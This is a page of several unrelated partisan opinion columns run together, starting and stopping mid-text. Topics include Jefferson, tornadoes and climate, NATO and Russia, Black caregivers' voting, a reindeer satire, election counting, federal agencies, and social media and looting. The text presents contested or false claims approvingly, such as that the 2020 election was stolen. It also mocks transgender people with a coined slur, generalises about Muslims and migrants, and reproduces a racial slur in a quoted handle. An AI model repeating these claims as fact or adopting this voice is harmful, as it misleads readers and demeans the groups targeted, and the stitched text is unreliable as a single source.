gatherings Jefferson-Jackson Day. The war against Thomas Jefferson is simple to understand once you know the real Thomas Jefferson. Jefferson exposes the lies of the 1619 Project and its activists. If Jefferson stands, an America of liberty, equality, and goodness despite the complexities of human existence can be seen. If Jefferson falls, an America based on the lies of the 1619 Project can be imposed over the country. A free America cannot exist without Jefferson. And behind the talk of freedom and equality by those who critique him, their real motivation is to destroy the America of liberty, so they target its chief architect. Paul Krause is the editor of VoegelinView. He is the author of The Odyssey of Love: A Christian Guide to the Great Books, The Politics of Plato, and contributed to The College Lecture Today and the forthcoming book Diseases, Disasters, and Political Theory. Image: Rembrandt Peale To comment, you can find the MeWe post for this article here. Speaking in Wilmington, Delaware on Saturday, President Joe Biden blamed the recent deadly tornado outbreak in Kentucky on climate change. Biden stated, The fact is we all know everything is more intense when the climate is warming and obviously it has some impact here. Bidens statement is laughably inept and easily disproved. All one has to do is look past the opinions, pronouncements, and hand waving and concentrate on what science and data actually say about the issues. First, the top five deadliest tornadoes in America all occurred between 1840 and 1936. The Great Natchez Tornado on May 7, 1840, killed 317 people and was the second-deadliest tornado in U.S. history. The deadliest was the March 18, 1925, Tri-State Tornado , which was also the longest-tracked tornado in U.S. history. The massive F5 tornado traveled 219 mi (352 km) across Missouri, Illinois, and Indiana, killing 695 people. Second, the last half of the 65-year U.S. tornado record had 40 percent fewer strong-to-violent tornadoes (EF3 rated or greater) than the first half. To claim that climate change is causing severe tornadoes is speculation, and directly opposite data publicly available from the National Weather Service (NWS). Dr. Roy Spencer, a climatologist at the University of Alabama, Huntsville points out, To claim that global warming is causing more tornadoes is worse than speculative; it is directly opposite to the clear observational evidence. A graph of 50 years of tornado data from the NWS Storm Prediction Center (NWSPC) clearly illustrates the downward trend in violent U.S. tornadoes rated EF3 or greater since 1970. Source: NOAA Storm Prediction Center: https://www.spc.noaa.gov/wcm/ In fact, 2017-2018 set the U.S. record for the longest period in history (306 days) without an EF3 or stronger tornado. But there is an important distinction that must be made. While theres an upward trend in all tornadoes -- due to increased reporting courtesy of millions of cellphone cameras, storm chasers, and expanding populations -- violent tornadoes rated EF3 or greater, like the one in Kentucky, are down significantly. Third, the number of tornadoes this year has been below average. Moreover, 2018 was a record low year for tornado occurrences and deaths in the United States. Provisional data from NWS indicate the tornadoes that hit Mayfield, Kentucky, and Edwardsville, Illinois were both rated as EF3s. Although most tornadoes occur in spring and early summer, violent tornadoes are not unheard of in winter. Data show that on average since 1950 there have been five tornadoes every winter of EF3 and greater strength in the United States. Fourth, tornado outbreaks can't happen without cold air. When cold air juxtaposes with warm, moist air on a frontal system, we get strong thunderstorms and violent tornadoes. With a modestly warming world, the difference between equatorial and polar temperature lessens, which is why we have had a downward trend in violent tornadoes. With a smaller temperature difference between the pole to the equator, theres less energy differential between polar cold fronts and warmer, moister subtropical air in the United States. Finally, the claimed global authority on climate change and weather, the United Nations group known as the Intergovernmental Panel on Climate Change (IPCC), produced a special report on severe weather in 2018 that found climate has little or no influence on tornadoes. There is low confidence in observed trends in small spatial-scale phenomena such as tornadoes, said the report. So, why would President Biden make such claims of a linkage between the tornado outbreak and climate change when science and data say there is no causation? A recently published scientific paper sheds some light on this. The paper, titled Politics of attributing extreme events and disasters to climate change, states: While politicians may want to blame crises on climate change, members of the public may prefer to hold government accountable for inadequate investments in flood or drought prevention and precarious living conditions The desire to persuade the public of the dangers of climate change via attributions of climate events pressures scientists and the media alike to attribute extreme climate events (and associated crises) to climate change. Unfortunately, the corporate media have massively repeated President Bidens incorrect claim that climate change is to blame for a tragic outbreak of deadly tornadoes. The media simply didnt do their job of conducting even the simplest investigation, and as a result, Americans are once again grossly misinformed. Anthony Watts is a senior fellow for environment and climate at The Heartland Institute. Watts has been in the weather business both in front of, and behind the camera as an on-air television meteorologist since 1978, and currently does daily radio forecasts. He has created weather graphics presentation systems for television, specialized weather instrumentation, as well as co-authored peer-reviewed papers on climate issues. He operates the most viewed website in the world on climate, the award-winning website wattsupwiththat.com. To comment, you can find the MeWe post for this article here. As we ponder how our days Dr. Strangeloves want Ukraine to join NATO so that well be obligated to go to war against Russia if it attacks its western, kleptocratic neighbor, we should consider a certain point. It isnt just, as some have pointed out, that the Cold War relic NATO has outlived its usefulness. Its not just that Russia, no longer being the Soviet Union, has no intention of invading Western Europe and couldnt pull off a Julius-Caesar-in-Gaul even if it did. Its also this: Troubling over such a thing is a bit like fearing that Bill Gatess bucks will invade your bank account. NATO was created in 1949 to defend Europe against the Soviet Union, an expansionist, evil empire that devoted time and treasure to spreading the malevolent ideology of Marxism worldwide. Fear of this was entirely rational as such a conquest would have meant a descent into hell on Earth, so we rightly drew a bombs-and-bullets line in the sand. But at issue today isnt your grandfathers Bear. Its more like your great-grandfathers and relatively bearable. Consider: Ex-German Chancellor Angela Merkel opened the floodgates of Muslim migration, illustrating why late Libyan leader Muammar Gaddafi once said that jihadist terrorists were unnecessary because 50 million-plus Muslims in Europe would turn it into an Islamic continent in two generations. Many European leaders sing Merkels song, too. Swedish politician Mona Sahlin unabashedly stated in 2001 that the Swedes must be integrated into the new Sweden; the old Sweden is never coming back. French president Emmanuel Macron actually advocated the idea of creating Eurafrica, a scheme requiring the flooding of his continent with 150 to 200 million Africans during the next few decades. Not to be outdone in vindicating the Gallic surrender stereotype, French intellectual Christian de Moliner suggested in 2017 that France should essentially be divided via the creation of a semi-autonomous, quasi-Sharia state within the country to avoid civil war with its Muslims. Note that such sentiments place these politicians to the left of the Dalai Lama, who told the BBC in 2019 that Europe is for Europeans and that most migrants should ultimately be returned to their native lands. And quite Lama-like, Russia boasts a healthy nationalism. Its president, Vladimir Putin, has touted his civilizations glories and has said, regarding immigration, Russia doesn't need minorities; minorities need Russia. And while Western Europe is awash in multicult mush, Moscow issued a 2014 document stating that Russia rejects such principles as multiculturalism and tolerance and projects imposing alien values on society. Speaking of alien values, so-called same-sex marriage is rubber-stamped in Western Europe, the continents social activists often encourage confused children to embrace a Made-up-Sexual Status (MUSS or transgender) identity, and its authorities may punish critics of such via hate speech laws. In Russia, though, its not just that homosexual unions of any kind are verboten and that true (i.e., man-woman) marriage was enshrined in the nations constitution last year. Moscow also has outlawed pro-homosexual propaganda, and Putin has sung the nuclear familys praises. More recently, he has inveighed against the elimination of the terms mother, father and family; has criticized the denial of the distinction between sexes and of the categories of men and women; and has said that advocating youth MUSS activity borders on a crime against humanity. (See now why our Left wants to cancel Russia?) But thats not all. In October, Putin criticized Westerners for the aggressive deletion of whole pages of their own history and their reverse discrimination against the majority in the interests of minorities. He also correctly proclaimed, in 2019, that liberalism had become obsolete. But now, obsolescence is the Wests essence. Back when Russia was the USSR and our Left loved it, we called the Soviets godless and they called us decadent; now were godless and decadent. We hear incessant talk about the separation of church and state even though its not in our Constitution (but it is in the 1936 Soviet Constitution), and radical applications of it are foisted upon us. In many European nations, more than 50 percent of young people identify as having no religion (70 percent in Britain). Whats more, some European authorities are even labeling the Bible hate speech. This is the handiwork, too, do note, of devout adherents of moral relativism the Wests characteristic philosophical affliction of the Whatever works for you crew. But it doesnt work in Russia. In a 2013 State of the Nation speech, Putin lamented that many Euro-Atlantic countries have moved away from their roots, including Christian values. ...Policies are being pursued that place on the same level a multi-child family and a same-sex partnership, a faith in God and a belief in Satan. This is the path to degradation. None of this is to say I trust Putin or take for granted that his pronouncements arent just self-interest-driven posturing. I dont trust him any more than I do Biden or Pelosi or Kamala Harris, though I do trust him to be one thing theyre not: smart. Putin ought to know, too, that the political correctness he condemns will destroy a nation. After all and as Soviet defector Yuri Bezmenov pointed out, the KGB Putin used to work for encouraged such ideas in the West for this very reason. But whatever the reason, G.K. Chestertons 1926 prediction that the madness of tomorrow would lie not in Moscow, but much more in Manhattan has come to pass. So explain to me not only why NATO is still necessary but also, very slowly, so I can understand it, this: If Vladimir Putin or some near-future Russian leader completely lost his marbles, had a Napoleon moment, and decided to invade Western Europe, why should Americas sons shed blood over it (let alone over Ukraine)? If under such a fanciful scenario the modern-day tsar were successful and imposed Russias social norms on the vanquished, what would be the loss to humanity? Pride events with men marching mostly naked? Puberty blockers for 12-year-olds? The arresting of pastors for preaching the Bible? The ignoring of the Muslim rape-gang abuse of 1,400 UK girls for 16 years for fear of being called racist? Its a tempting cause, really, but I think Ill pass. Should our Dr. Strangelove chicken hawks succeed in getting Ukraine into NATO, we can only hope that an ex-high-ranking Polish officer spoke the truth when he told me years ago that the acronym stands for No Action; Talk Only. For if the West ever fights Russia, its possible that maybe, just perhaps, the Bear will now have God on its side. Image: www.Kremlin.ru, via Wikipedia // CC BY-SA 4.0 To comment, you can find the MeWe post for this article here. Unpleasant circumstances resulted in our family hosting a number of resident home help caregivers from Africa or of African descent. Getting to know them challenged the assumptions the dominant media would have you believe. My wife contracted a terrible neurologic disease some years ago that gradually took away her ability to care for herself, and eventually my ability to be her sole caregiver. We had people living in our house 24/7 to attend to her for years. Her condition got worse, and she entered hospice care more than a year ago. All of her caregivers were meticulous in their attention to her, and I learned much from them about their own lives and histories. Almost all were Black, some native-born, but many were immigrants to the United States. They all had interesting stories to share. Christian, a man from Eastern Nigeria, is in his late 30s and has been in the United States for five years. He waited several years to enter the US, legally of course. Christian told me that he was a Democrat back in the late 90s and really liked Bill Clinton. Thats right, he identified with a United States political party long before he emigrated. He liked Obama at first but told me that when Obama went to Kenya and made that speech, he turned against Obama. Christian is now a solid Republican. He told me that when he was driving to our home on his first visit, he prayed that we would not be a house full of Democrats because he found them so disagreeable in general. Christian is looking forward to becoming a citizen in two years and being able to vote at last. Gwen, another caregiver, is now 70 and lived with us longer than anyone else -- more than two years. She was born and raised in the projects of St. Louis and did not finish high school. She had a baby when she was a teenager and later lived in Akron, Phoenix, and then Los Angeles for many years before coming to North Texas. She spoke beautifully, wrote in a gorgeous longhand that I wish I could duplicate, and had enormous resourcefulness. She had never paid much attention to politics and had always been a Democrat, as had everyone in her family, but she became a fervent Trump supporter, much to her sisters dismay. She didnt care, and she would tell anyone just why she switched. She said that Trump was the first politician in her life to make a promise and keep it. She also appreciated his stance on immigration. She knew that all those illegal immigrants were taking jobs away from black people. Susie is a hospice nurse in her 30s who emigrated from Kenya several years ago. She was visiting us a few days after the 2020 election and said that she was talking with her family back in Africa, and everyone there wanted to know what in the world was going on in the United States. That was when I first found out that everyone else in the world watches the United States very carefully. Susie said that they all knew that there was something badly wrong with the election, and it was going very much the way elections went in Africa. Susie and her family had all identified with the Republicans since Bush 43. They really appreciated how much he had helped with AIDS. They didnt think much of Obama. Gloria is a woman in her 30s who was born in Congo and went to Paris with her mother as a girl. They immigrated to this country when she was in her late teens. Gloria speaks five languages, including flawless English. She works for hospice and came to our house twice a week to bathe my wife, who always looked forward to her visits because she was so thorough and yet so gentle. Gloria is another Republican, as is her husband. Both of them think that the election was stolen from Trump. Iman also hails from Paris, the Paris in northeast Texas, real country as they say down here. Her country accent is so thick that I still have trouble understanding her. She didnt have much schooling and also had a child as a teenager. That never deterred her, and she is full of energy and ambition. She has nothing but disdain for those who sat at home and took paychecks from the government during the lockdowns. She lived with us for more than a year and took great care of my wife. She never talked politics much, until this year when the massive illegal crossings on the Texas border were instigated by the new administration. That made her furious. Not only the lawbreaking but again the fact that all of those people were coming into Texas and taking jobs away from Black folks. She had always been a Democrat, but no more. Lauren is a 30-year-old RN from northern Louisiana, divorced with two kids. She is coal black and has never let that interfere with her plans. She is diligently paying off her student loans and wants nothing to do with government help. Her ex-husband recently died of Covid. Shes trying to save up to buy a house but is frustrated because prices keep going up. I never talked politics with her, but I know she would support anyone who could help her achieve her American dream. There is another Christian, Texas-born and in his early 30s, the son of career enlisted Army parents. He is a special friend of the family, and we appreciated his attention to my wife. He is thoughtful, well-read, and as conservative as I. He still experiences some racial hostility toward himself but shrugs it off. He has aspirations and goals and is not about to let grievances interfere with his plans. A century ago, Republicans could expect to get about 90% of the Black vote, which now of course is about 90% Democrat. Did the Democrats achieve that remarkable shift by doing nothing? Of course not -- they worked at it. Even in 1932, in the Great Depression, Black people in Chicago voted about 80% Republican, but by the 1936 election, the GOP had lost their majority. How did the Democrats achieve such a massive shift? They came up with a plan and stuck to it. And then they kept working at it, promising and lying decade after decade. We all should know by now that those on the left never give up. That is at least one trait that the Republican leaders should emulate. There were many others whom I got to know: Cecilia, originally from Liberia, and now a citizen and a Republican. Her husband is White and voted for Biden, but she told me that he now regrets it. George, from Zambia, a citizen now, and also a Republican. Ursula, recently divorced and homesick for her native San Francisco. Always sweet and never showing anger, but terribly dismayed at what is happening on the border. They all worked through the pandemic, and we never had a single no-show because of illness or any other reason. You would be proud to have them visit your home or live next door. I miss them. Photo credit: YouTube screengrab Dr. A is the pen name of a physician who is board certified in Internal Medicine and Rheumatology, and has practiced medicine for nearly 50 years. To comment, you can find the MeWe post for this article here. As the world turns, we've just learned from the Babylon Bee that Rudolph is now Rolanda: Rudolph The Red-Nosed Reindeer received praise for taking a stunning and brave stance against outdated binary gender stagnation by changing his name to Rolanda and subsequently dominating every field in the North Pole's annual Female Reindeer Games. "Rolanda is a shining beacon for young, female reindeer in more ways than one," stated the president of the North Pole Reindeer Games Committee, Bob Chairman. "She has shattered records in every event she has entered, which says so much about the physical potential of all female reindeer." Rolanda The Red-Nosed Reindeer did indeed break records in all events of the Female Reindeer Games, including the Sleigh Pull, Flying, Landing, Oat Bag Toss, Gingerbread House Trampling, and the Giant Slalom. She struggled with the final event, Female Reindeer Feminine Ice Dancing, performing far worse than all other female competitors. The judges still awarded her the gold medal for being so stunning and brave. We understand that the White House press secretary punted on Peter Doocy's question: "Is the president concerned that males are defeating females in reindeer games?" She circled back to Doocy but did say this: "The president believes in diversity and that every reindeer should fulfill their individual goals." In the meantime, the parents of the female reindeer feel cheated and showed up at the city council meeting. One mother said something about driving her daughter to countless practices over time. Another said Santa Claus has let down his guard. An angry mom added that she's seen Santa watching a little too much CNN lately. Another mom screamed: "CNN does not get ratings down there and for sure not up here." Well, Rudy went woke, and Christmas will never be the same. Thankfully, Santa did not accept Rudy's suggestion to use the electric sleigh or the one that runs on green energy. Santa did not want the red light to fail, like how all that green energy stuff failed in Texas. Santa, according to sources familiar with the situation, yelled at Rudy and told him to shut up. He allegedly said: "You got all the females angry at me, and now you want to fly around with a battery that goes only 200 miles." So there it goes. Rudy's made a mess of the North Pole. The good news is that the females are furious and looking to replace the new Rudy with an old-fashioned male reindeer. PS: You can listen to my show (Canto Talk). Image: waldopepper. To comment, you can find the MeWe post for this article here. Speaking maskless at a holiday fundraiser celebration for the Democratic National Committee last night, December 14, President Joseph Biden (D) admitted to the assembled a fundamental totalitarian voting principle which Democrats across the US, and now in the White House, have used for years, "The struggle is no longer just who gets to vote or make it easy for eligible people to vote. It's about who gets to count the vote - whether your vote counts at all," Biden told a crowd of a few hundred donors and party officials at a gathering at the Hotel Washington. (bold added) Biden says the struggle is no longer about who gets to vote, its about who gets to count the vote pic.twitter.com/riZ0GFqsGf Jewish Deplorable (@TrumpJew2) December 15, 2021 Compare that statement to that of brutal Russian communist dictator, Joseph Stalin, nearly a hundred years ago, admitting, "I consider it completely unimportant who in the party will vote, or how; but what is extraordinarily important is this who will count the votes, and how." Oh. Snopes (yeah, I know) conveniently assembled similar sentiments from past corrupt rulers around the world. Biden and his Democrat party cohorts learned well from their teachers. "As long as I count the Votes, what are you going to do about it, say?" attributed to William M. "Boss" Tweed in Thomas Nast cartoon, 7 October 1871). "'I care not who casts the votes of a nation, provided I can count them,' Napoleon failed to remark." New York Times editorial (26 May 1880). "There's more to an election than mere votin', my boy, for as an eminent American once said: 'I care not who casts the votes of a nation if they'll let me make the count.'" from Uncle Henry, a novel by George Creel, 1922. "It's not the voting that's democracy, it's the counting, Archie says." from Jumpers, a play by Tom Stoppard, 1972. "Indeed, you won the elections, but I won the count." Nicaraguan dictator Anastasio Somoza (1896-1956), Guardian (London), 17 June 1977. By the way, Yahoo! News pitched this as "the need to protect voting rights." You know, the rights of non-citizens to vote in local New York City elections. Be prepared: more of this Democrat mockery of elections to come. Photo credit: Twitter video screen grab. To comment, you can find the MeWe post for this article here. The January/February issue of The Atlantic warns that Donald Trump, in 2024, may bring about a "democratic collapse." Hillary Clinton, the other day, predicted the end of democracy in 2024 with the re-election of Mr. Trump. And David Leonhardt, in the Pravda-aping New York Times, offers a preview of "America's Anti-Democratic Movement." Clearly, the left has started to fire opening salvos of propaganda to mislead the American people into believing that the Republicans not the Democrats present the clear and present threat to what Madison, in Federalist No. 57, called the spirit of American freedom. Writes Leonhardt, quite falsely, "An antidemocratic movement, inspired by former President Donald J. Trump, but much larger than him, is making significant progress." Consider this baseless allegation as an expansion of the lie that Mr. Trump inspired racism, or Islamophobia, or misogyny. Simply stated, leftists who are unable to respond with convincing arguments against Trumpian common sense shriek out in terms of irrational, hysterical polemics. Leonhardt quickly presents the matter of Liz Cheney as his first example of this "antidemocratic movement." "In the House, Republicans ousted Liz Cheney from a leadership position because she called out Mr. Trump's lies." This, of course, is the lie. Cheney was removed, by vote of the House GOP conference (a democratic procedure, mind you), because she voted to impeach a former president whom she denounced as a threat to the Republic that is to say, she mindlessly parroted an extreme leftist talking point, the kind of point that has become de rigueur propaganda for Democrats. How long would a Democrat remain in his leadership post after denouncing Nancy Pelosi for the actual threat to democracy she represents by her imperialistic, inquisitorial, unconstitutional methods of governance? What does Leonhardt regard as threats to democracy? Measures to ensure that voting will be on the up and up, not tainted by ballot-stuffing, ballot-harvesting, multiple-voting by individuals. What does Leonhardt consider anti-democracy? Voter ID laws, would you believe? Are voter ID laws more intrusive than the new requirement in New York City that to sit down in a restaurant, the patron must show proof of COVID-19 vaccination? (I was barred from sitting down in Ben's Kosher Restaurant in Manhattan, December 14, because I left my vaccination card at home.) My local post office substation requires a photo ID to make a financial transaction. Common sense advises that fraud in voting is more likely than not where proof of identity is not required. The inanity of Leonhardt's specious argument is evident by this reference to a change in procedure in Pennsylvania: "Republicans are trying to amend the state's Constitution to make the secretary of state an elected position, rather than one that the governor appoints." Imagine: Leonhardt sees the election of the secretary of state in Pennsylvania as a threat to democracy. But this makes clear what the leftist hue and cry about threats to democracy is all about. For Democrats, the vote of the people to return Donald J. Trump to the White House on January 20, 2025 (or any Republican, for that matter) is against democracy because, for Democrats, democracy happens only with the election of...an authoritarian-minded Democrat who gains office by demonizing Republican candidates, to the point of political warfare, not fair competition. To this, I would add a criticism of Republicans. Democrats well know that Donald J. Trump is different from the traditional, flexible Republican because he does not crumble in the face of leftist political assault. Democrats, I submit, are confident that the more they demonize Republicans, the more Republicans will tremble and buckle, letting the left walk all over them when they do not rush to join the leftist assault in the manner of a Liz Cheney and Adam Kinzinger. And so, this is not so much to denounce Democrats for the political charlatans they have become, but to appeal to Republicans to close ranks behind a steadfast, conservatively populist leader like Donald Trump for an obvious reason: to prevent the radical leftists from destroying our democratic institutions. Republicans nay, the American people should have learned by now: where the Democrats prevail, free speech, dissent, the essentials of liberty, dies. And that is what truly informs "America's Anti-Democratic Movement." If Mr. Leonhardt were an honest reporter, he would have acknowledged that the Republican Party is, today, the true, and only, party of American freedom. To comment, you can find the MeWe post for this article here. Almost all the Democrat policy proposals involve transferring more power and money from the rest of the country to the extremely powerful federal government. While the Dems seek to destroy the millions of jobs related to oil, natural gas, and coal, they seek to make more people dependent on the government. Democrats claim they care deeply about wealth and income inequality, yet they seek to transfer more wealth and income to the extremely wealthy D.C. area, where they produce nothing but regulations and bureaucracy. Most Of Nation's Wealthiest Counties In DC Area Once a government policy or bureaucracy starts, it is very hard to stop, and the budget and power almost always expands. There is little effort to control costs. The following article shows at least 456 agencies, and there is little evidence anyone tries to eliminate duplicate goals. Does anyone think Pelosi, Schumer, Biden or anyone else can describe what these agencies do? Look at what falls under the agriculture umbrella: In 1900, there (were) 11 million Americans employed on farms and 2,900 employed by the USDA. A century later there are 3 million employed on farms and 105,000 employed by the USDA. Each agency is essentially its own fiefdom lobbying for more money. They determine where their money goes. For example, the NIH handed out grants that ended up in the hands of the Wuhan lab, which may have used the funds for gain of function research. 456 Federal Agencies? The Eternal Push for Ever-Expanding, Redundant Over-Government Here's a Fun Number of the Day. I just ran a Web search for "how many federal agencies are there" and the Internet extruded the number FOUR HUNDRED AND FIFTY-SIX (456). To wit: The human species has engaged in agriculture for more than 10,000 years. We did so for 9,900+ of those years without a US Department of Agriculture (USDA). Which now appears to have THIRTY-THREE (33) "Offices" under its umbrella. Which is pathetically unreflective of today's agriculture sector. The proportion of Americans engaged in agriculture has plummeted while the Department of Agriculture has massively expanded: "In 1900, there (were) 11 million Americans employed on farms and 2,900 employed by the USDA. A century later there are 3 million employed on farms and 105,000 employed by the USDA." Besides the agencies that fall under the congressional budget, there are several more entities that are essentially government agencies that wield massive control. None of these entities pays federal or state taxes. The Federal Reserve has expenses of over $5 billion each year and over 23,000 employees. It has $8.7 trillion in assets. The average salary is approximately $100,000 per year. The CFPB was established by Congress, but it was set up as an "independent agency" to give it more power. The budget is around $700 million per year. It has around 1,600 employees. The average employee salary for the Consumer Financial Protection Bureau (CFPB) in 2020 was $125,476. Fannie Mae has $3.5 trillion in assets. It has 7,500 employees. Average salary: $93,000 per year. Five people at Fannie Mae made more than $2 million, and four people at Freddie Mac made more than $3 million despite a $600,000 cap on salaries. Where are the congressional hearings by Schiff and Pelosi? How Fannie Mae, Freddie Mac dodged a $600,000 cap on CEO pay At Fannie Mae, five executives earned more than $2 million each last year, while four executives at Freddie Mac earned more than $3 million, according to data compiled by Equilar, a research firm. The total amount spent on salaries for the top executives increased 31 percent at Fannie Mae and 4 percent at Freddie Mac last year, according to the data. Freddie Mac: $2.1 trillion in assets and around 7,000 employees. Average salary: $95,000. The Federal Reserve, Fannie, and Freddie essentially have an almost monopolistic control over housing. It's as if they never learn from previous bubbles and subsequent crashes. The average salary of a U.S. worker is around $70,000. The average salary of U.S government employee is $90,000, and their pension and other benefits dwarf the private sector. Yet the Democrats focus on increasing government power and money. As if politicians didn't have enough money in the regular budget to funnel to their special interest groups, the corrupt Obama, Biden administration had slush funds at the Justice Department, EPA, and CFPB to give kickbacks to their special interest groups. These special interest groups gave some money back to Democrats for campaign contributions and used significant funds to lobby for Democrat policies and against Republican policies. How Obama is funding the anti-Trump resistance The Obama administration's massive shakedown of Big Banks over the mortgage crisis included unprecedented back-door funding for dozens of Democratic activist groups who were not even victims of the crisis. At least three liberal nonprofit organizations the Justice Department approved to receive funds from multibillion-dollar mortgage settlements were instrumental in killing the ObamaCare repeal bill and are now lobbying against GOP tax reform, as well as efforts to rein in illegal immigration. THE NATIONAL COUNCIL OF LA RAZA NATIONAL URBAN LEAGUE NATIONAL COMMUNITY REINVESTMENT COALITION Is there any wonder there is so much corruption in the U.S. when most of the media look the other way and hide it? CFPB Joins Justice In Shaking Down Banks For Democrat Activist Groups CFPB Joins Justice In Shaking Down Banks For Democrat Activist Groups The Consumer Financial Protection Bureau is diverting potentially millions of dollars in settlement payments for alleged victims of lending bias to a slush fund for poverty groups tied to the Democratic Party. We've seen this before at the Justice Department, which Congress earlier this year scolded for "shortchanging" alleged victims of Bank of America and Citibank the same way. Justice funneled at least $150 million into a slush fund for Democratic interests, unconstitutionally avoiding Congress. The EPA Stashes BILLIONS In Slush FundLike Accounts Environmental Protection Agency (EPA) officials have accumulated at least $6.3 billion in more than 1,300 obscure spending accounts akin to slush funds that are essentially beyond congressional, media and public scrutiny. Trump got rid of the slush funds, but the corrupt Biden reinstated the Justice slush fund the first day he took office. And the media pretend the Biden Justice Department is independent and honest. Biden Directs DOJ to Reinstate 'Slush Fund' Settlement Payments to Special Interest Groups If Democrats really cared about the common good, they would give more freedom, power, and money to the common person instead of the government. We would drill to lower prices. To comment, you can find the MeWe post for this article here. The sudden appearance of smash-and-grab mass lootings has left a lot of people perplexed. After all, who the hell would do that sort of thing? We know that such people are aware that they won't be punished, but that isn't the full story. Most of us wouldn't do that kind of thing no matter what the incentives. We're the kind of people who return an extra dollar to a store clerk because honesty is natural and compassion is our way of life we don't want the clerk's drawer to come up short at the end of the day. We live our social capital. The people who engage in organized smash-and-grab lootings have an entirely unrecognizable mentality. Sure, they're likely fatherless. And sure, they're likely religion-less, with zero exposure to morality. It's natural to wonder if these people were raised by wolves and kept in some sort of den to come out like vampires now that Chesa Boudin is running the district attorney's shop in San Francisco. The phenomenon doesn't add up. Actually, between basic absence of morality brought on by social chaos, and the knowledge that one will never be punished for one's crime, there's an intermediary cause, an activator of this these mobby crimes. According to The Hill, citing the Wall Street Journal: Police say that some of the smash-and-grab robberies that recently took place in California and Minnesota were organized on social media and were carried out by people who did not know each other. Local law enforcement said robberies at a Bay Area Nordstrom, a San Francisco Louis Vuitton and at a Minneapolis Best Buy were all organized on social media, according to The Wall Street Journal. For the people who took part in some of the incidents in California, Snapchat was used to organize the crimes as thieves were possibly attracted to the app's ability to make messages disappear. Once law enforcement arrested some suspects, they at times did not know the names or have any information about the people with whom they were working, the Journal reported. Yes, indeed, these people are out there, and they are activated by social media Facebook, Twitter, Snapchat, TikTok, and others openly slavering to be included in these loot fests, all made possible by social media. In an earlier blog post, I ran across this pair: @ NYC, i say we start at soho around 10? pls lmk https://t.co/SS8MjYpiQx niggasbebrokeokayy (@khilanii) November 20, 2021 Footage of Louis Vuitton in Union Square of San Francisco getting emptied. Look at how chill they are. I couldve been physically able to do this. Call me next time! pic.twitter.com/8maf4x6PPy Jenny, Girl from 4th , (@JennyChachan) November 20, 2021 The posts are still up, with Twitter continuing to focus on right-wingers to censor, not the brays of the wannabe looters asking for someone to put them on a list to call so they can go smash and grab a fancy retailer for "free" designer goods. Facebook and Snapchat have been named in the reports, too, and apparently, it's the new "in" thing. Not too long ago, another social media outfit, TikTok, was the vehicle of choice for random attacks on educators called the "Slap a Teacher Challenge." Overseas this year, Palestinian terrorists initiated a comparable "Slap a Jew" TikTok challenge, copycatting the revolting 2015 "Knockout Game" targeting Jews in New York with attacks from behind, which also emerged from the social media swamp. And though I have not found the entire trail of evidence yet, I'd bet money that the violent random attacks on Asians going on in deep blue cities are also social media (as well as YouTube)generated. It fits the sick pattern. Mass lootings are social media's new achievement this day, and nobody in that wealthy tech industry ever pays for it. The looters get off, the retailers eat the loss, and the shops close up, leaving beautiful American cities all duplicates of Detroit during its bad years. Worse still, ravaged cities can take decades to recover. Just ask South Central Los Angeles or Detroit itself in the wake of its mass riots. It's far from the only negative act coming out of social media with zero accountability. Do you wonder why the border surges are so intense and huge, and include nationals now of more than a hundred countries? How did they get there? Why do so many third-worlders in actual rising economies suddenly want to move here? This didn't use to be the case in years past, when these countries were poorer, but now these surges are a way of life with Joe Biden in the saddle, inviting them in. And why have the cartels themselves grown so powerful, now taking over ports and threatening our neighbor to the south? Thank your local social media for all of that illegal activity, too, which makes it possible. I wrote about those issues here and here. And here. So now we have social media at the nexus of mass lootings, and social media at the center of migrant surges and cartel empowerment. What kind of operation is this? Social media seem obsessed with censoring conservatives in the name of "fake news" or fact-checking, which it turns out is all opinion, as Facebook has admitted. Meanwhile, America's cities are on fire, its shops are trashed, no one feels safe, the quality of life is going down, and illegal aliens are surging on in. It's all got the same root and the same irresponsible enablers. The elites running these outfits claim they are as upset as anyone else about the illegal activity their sites are promoting, but they never seem to do anything about it. Meanwhile, they take refuge in Section 230, which protects them from liability from the kind of things that occur on their sites, and vigorously protest and lobby and hand cash to politicians to keep it that way. It's a pretty obvious pattern of illegality and irresponsibility. Anyone else who'd let a criminal group use a safe house or enable them to organize would be jail-bound, but not these guys. Now it's getting obvious that social media are enabling this kind of new criminality. Come 2022, Congress needs to take action to drop that outrageous protection and force these people to own their activity. And any retailer who has been devastated by one of these looter mobs should be free to sue these social media barons who make this activity possible. Image: Pixabay, Pixabay License. To comment, you can find the MeWe post for this article here. A clearance of seven feet should be wide enough for most vehicles to pass through, but apparently, not for some. As these videos reveal, many drivers have a hard time navigating through a series of bollards installed on a section of the Woodmere Avenue in Watford, UK. Back in 1980, the local government put a width restriction of seven feet on the Woodmere Avenue to prevent cars from rat-running through the residential estate. Over the decades this section of the road has seen numerous crashes executed by incompetent drivers attempting to rush through when careful driving was required. Countless vehicles have got stuck in between the bollards, some requiring the service of a digger to get free. Others have had their tires ripped off. The width restriction on Woodmere Avenue. Photo: Google Street View Understandably motorists are fed up with the width restriction, and so are the residents. Those who live right opposite the section have seen damage done to their walls, homes and cars. Some are calling on change before there's a major accident. Strangely enough, there is a wider bus lane running adjacent to the width-restricted section, and many drivers simply pass through it rather than going through the bollards. Its just evil. People arent interested in taking their time anymore, a local resident told HertsLive. If you have someone going through it really slow everyone else just goes past and through the bus lane. If you get someone whos being good, goes through the width restriction and then wants to turn right, someone just cuts through and past them from the bus lane. At some point theres going to be a major accident." Even Watford MP Dean Russell raised the issue in Parliament. This is something that I have been working on for quite some time now, securing an Adjournment Debate in the House of Commons and raising at Ministerial level, he said. It has been an issue in Watford for many years and whilst the road needs measures to stop it becoming a rat-run for large lorries, it is clear from the footage that the existing bollards are a hindrance to many drivers, you only need to look at the bollards and speak to local residents to know there have been many collisions. "I will continue to campaign for change to find a solution which ensures that drivers can navigate the restriction safely, but also ensures the road remains safe for pedestrians, he said. The Woodmere Avenue recently garnered media attention after videos of the crash became viral on the internet, all thanks to Tim Vigor, who installed the camera on his doorbell, right across the fateful intersection. Vigor has a Facebook page Woodmere Avenue width restriction where he posts videos of unfortunate encounters with the immovable bollards. I totally get why some people find it funny because it is not outside their house. I didn't want it to become a joke because I want the thing removed. I've had a few spats because people are saying the bollards are an inanimate object, which is true, but the whole design is wrong, Vigor told Watford Observer. Despite everything, this (going viral) has done more good than harm and it has certainly highlighted the issue. I'll be keeping the camera there until I'm told it's not allowed or if the width restriction is taken away. A car barely making through the restriction. Photo: Google Street View In response to complaints, the executive member for highways, Cllr Stuart Pile issued a press statement blaming drivers for their misfortune: The width restriction is clearly signposted both on Woodmere Avenue 